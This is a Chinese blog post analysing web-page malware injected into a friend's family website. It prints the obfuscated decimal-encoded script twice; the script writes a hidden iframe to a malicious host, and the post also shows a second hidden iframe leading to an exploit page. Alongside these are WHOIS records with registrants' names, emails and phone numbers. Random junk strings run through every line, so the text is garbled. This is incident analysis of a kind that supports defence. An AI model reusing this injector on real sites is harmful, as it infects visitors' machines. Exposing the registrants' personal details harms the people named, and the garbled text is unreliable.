首发在我的博客里面，
wr$M$i: k1{K*O$e http://www.areway.cn/?p=175 6{n!Cb[e F'4w;-ax 1(I6.BHW 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
q7_ m&-0) nD`w/0hT< <script>t=’60,105,102,114,97,109,101,
9Iwe2lu 32,115,114,99,61,104,116,116,112,58,47,47,
G6/p1xy>o: 102,114,101,101,46,117,45,117,117,117,46,99,
|i E50, 110,47,101,114,114,111,114,46,104,116,109,
dQV;3^iUY 32,119,105,100,116,104,61,49,48,48,32,104,
YQHw1 101,105,103,104,116,61,48,62,60,47,105,102,
}<@b= _>S 114,97,109,101,62′;
WD] p U t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
QdL`| YwDb PX <script>t=’60,105,102,114,97,109,101,32,115,
W6? pswQ 114,99,61,104,116,116,112,58,47,47,102,114,
rH_\ d?b 101,101,46,117,45,117,117,117,46,99,110,47,
nqI@Y ) 101,114,114,111,114,46,104,116,109,32,119,
eg(6^:z?f 105,100,116,104,61,49,48,48,32,104,101,105,
eJxw) zd7 103,104,116,61,48,62,60,47,105,102,114,97,
qf!p 9@4F[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
YH vLGc% document.write(t);</script>
oU056 ?OcJ )5C4 <html xmlns=”
UTH*bL5/J2 http://www.w3.org/1999/xhtml kCR_tn
4 “>
o4m\~as)Y <head>
k5:G-BQ : <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
H *ow\
Ct <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
'p> Ra/4 <title>首页 - 爱生活家庭网
mZ SD ( M?Dfu
.t 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
DI:]GED" = 转换字符串后的大概内容是（谁点击后果自付）：
NdMb)l)m <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
nuk*.Su =Xi07_8Ic< 查询玉米u-uuu.cn的详细信息：
3Dng 1} Domain Name: u-uuu.cn
:~2vJzp@? ROID: 20070901s10001s64972306-cn
2% L L Sa Domain Status: ok
YB(Q\hT~\; Registrant Organization: 王雷
p1Jh0o8 Registrant Name: 王雷
b\yXbyjZ3. Administrative Email:
czlovexs@126.com 06O2:5zF Sponsoring Registrar: 北京万网志成科技有限公司
JMrEFk Name Server:ns.yovole.com
SxOC 1+Oy Name Server:ns1.yovole.com
TW)c#P43K Registration Date: 2007-09-01 17:54
(s.0P O` Expiration Date: 2008-09-01 17:54
,\_1w 最后PING了一下地址 都没有什么….
,K9*%rW) {:6r ;TB 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
,}3
'I [ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
W42 iu"@ <script language=”javascript” src=”
S2HcG
1J
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script )c8rz[i >
fmU { 这个玉米应该有可能是木马作者的：
8(pp2r lR foafau.info的详细信息：
a1EOJ^}0 Access to INFO WHOIS information is provided to assist persons in
&"yx<&c} determining the contents of a domain name registration record in the
y0sR6TY)f Afilias registry database. The data in this record is provided by
Uwf + Afilias Limited for informational purposes only, and Afilias does not
yv t. guarantee its accuracy. This service is intended only for query-based
]A~WIF access. You agree that you will use this data only for lawful purposes
[<n2Uz7MP and that, under no circumstances will you use this data to: (a) allow,
(}Z@R#njH enable, or otherwise support the transmission by e-mail, telephone, or
/rWd=~[MO facsimile of mass unsolicited, commercial advertising or solicitations
3{'Ne}5%I to entities other than the data recipient’s own existing customers; or
5rw 7 ;' (b) enable high volume, automated, electronic processes that send
dP3CG8w5 queries or data to the systems of Registry Operator, a Registrar, or
i3tg6 o4C Afilias except as reasonably necessary to register domain names or
GeyvId 03H modify existing registrations. All rights reserved. Afilias reserves
aI P the right to modify these terms at any time. By submitting this query,
EMY/~bQW you agree to abide by this policy.
t| g4m[kr Domain ID:D22418703-LRMS
C 3^JAP Domain Name:FOAFAU.INFO
-`'I{g&A Created On:20-Nov-2007 16:05:42 UTC
R%{<mno/_ Last Updated On:20-Nov-2007 16:05:44 UTC
SIBtm m1W Expiration Date:20-Nov-2008 16:05:42 UTC
7''??X Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
A,JmX Status:CLIENT DELETE PROHIBITED
ns9U/ :L Status:CLIENT RENEW PROHIBITED
/rK}?U Status:CLIENT TRANSFER PROHIBITED
(?n=33}Ci Status:CLIENT UPDATE PROHIBITED
8E W_V$>R Status:TRANSFER PROHIBITED
f.D?sH An Registrant ID:GODA-040110615
[%q@]\U$s Registrant Name:liu hong
dq(uVW^&ae Registrant Organization:
a z Cf Registrant Street1:beijing
;&9)I8Us Registrant Street2:
"|EM;o Registrant Street3:
]D?"aX'q> Registrant City:beijing
")S Fi^] Registrant State/Province:
T1 ut"Zu Registrant Postal Code:100000
|n2qVR, Registrant Country:CN
) pzy Registrant Phone:+86.860108888777
Fq0i`~L~ Registrant Phone Ext.:
dM h:ulIY> Registrant FAX:
3eb%OEMYk Registrant FAX Ext.:
2L3)#22m* Registrant Email:bbbshiji@163.com
/5S30 |K Admin ID:GODA-240110615
sd*p/Q|4 Admin Name:liu hong
h
k]
N6+@ Admin Organization:
6.sx?Y YM Admin Street1:beijing
CSJdvxb Admin Street2:
~-ia+A6GIV Admin Street3:
]^yFaTfS Admin City:beijing
8[a=OP Admin State/Province:
&Y!-%{e Admin Postal Code:100000
IdzxS Admin Country:CN
v:IpMU-+\ Admin Phone:+86.860108888777
WffQ :L? Admin Phone Ext.:
&-;4.op Admin FAX:
zNs55e.rx Admin FAX Ext.:
x cd#& Admin Email:bbbshiji@163.com
S=MEG+Ad Billing ID:GODA-340110615
X3{G:H0\p Billing Name:liu hong
yQ U{ zY Billing Organization:
.CL[_;} Billing Street1:beijing
Q A<
Rhv, Billing Street2:
$mu^G t Billing Street3:
*1 uKr9 Billing City:beijing
o*-)Tq8GHE Billing State/Province:
U_M$#i{_ Billing Postal Code:100000
'}9x\3E Billing Country:CN
hpH r\g Billing Phone:+86.860108888777
#*D)Q/k Billing Phone Ext.:
=b%MXT Billing FAX:
1a?!@g ) Billing FAX Ext.:
O9G[j=U Billing Email:bbbshiji@163.com
}u\])I3 Tech ID:GODA-140110615
$:8x(&+/@ Tech Name:liu hong
V\>K]mwD Tech Organization:
1ct;A_48 Tech Street1:beijing
b LB:MW\% Tech Street2:
vUN22;Z\ Tech Street3:
%P<hW+P! Tech City:beijing
{>}!+k
-` Tech State/Province:
aT{_0m$G10 Tech Postal Code:100000
v| gw9 Tech Country:CN
r A`V}>Xj Tech Phone:+86.860108888777
g,Lq)'N;O Tech Phone Ext.:
P2NQHX
Tech FAX:
^|/TC!v]M Tech FAX Ext.:
]3x? Tech Email:bbbshiji@163.com
\9 cbI3rGz Name Server:NS27.DOMAINCONTROL.COM
HguT"%iv Name Server:NS28.DOMAINCONTROL.COM
_> 5(iDW0 Name Server:
Vp#JS3Y Name Server:
t#V!8EpBg Name Server:
(] Z_UTT Name Server:
/sUY U (3 Name Server:
Ghu#X JB? Name Server:
h`]Iy Name Server:
\RNNg Name Server:
YpWPz %`: Name Server:
]GMe \n Name Server:
j fP*"uUK Name Server:
rxe >}ZO ,-$LmECg 接着下载每个文件里面的代码：
,g%0`SO 一步一步看..
D60aH!ft 
cm&nd'A't 
; ^*}#X d 
y0{u<"t%w 
iNWw;_|1 
:Wjpzg PuN 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
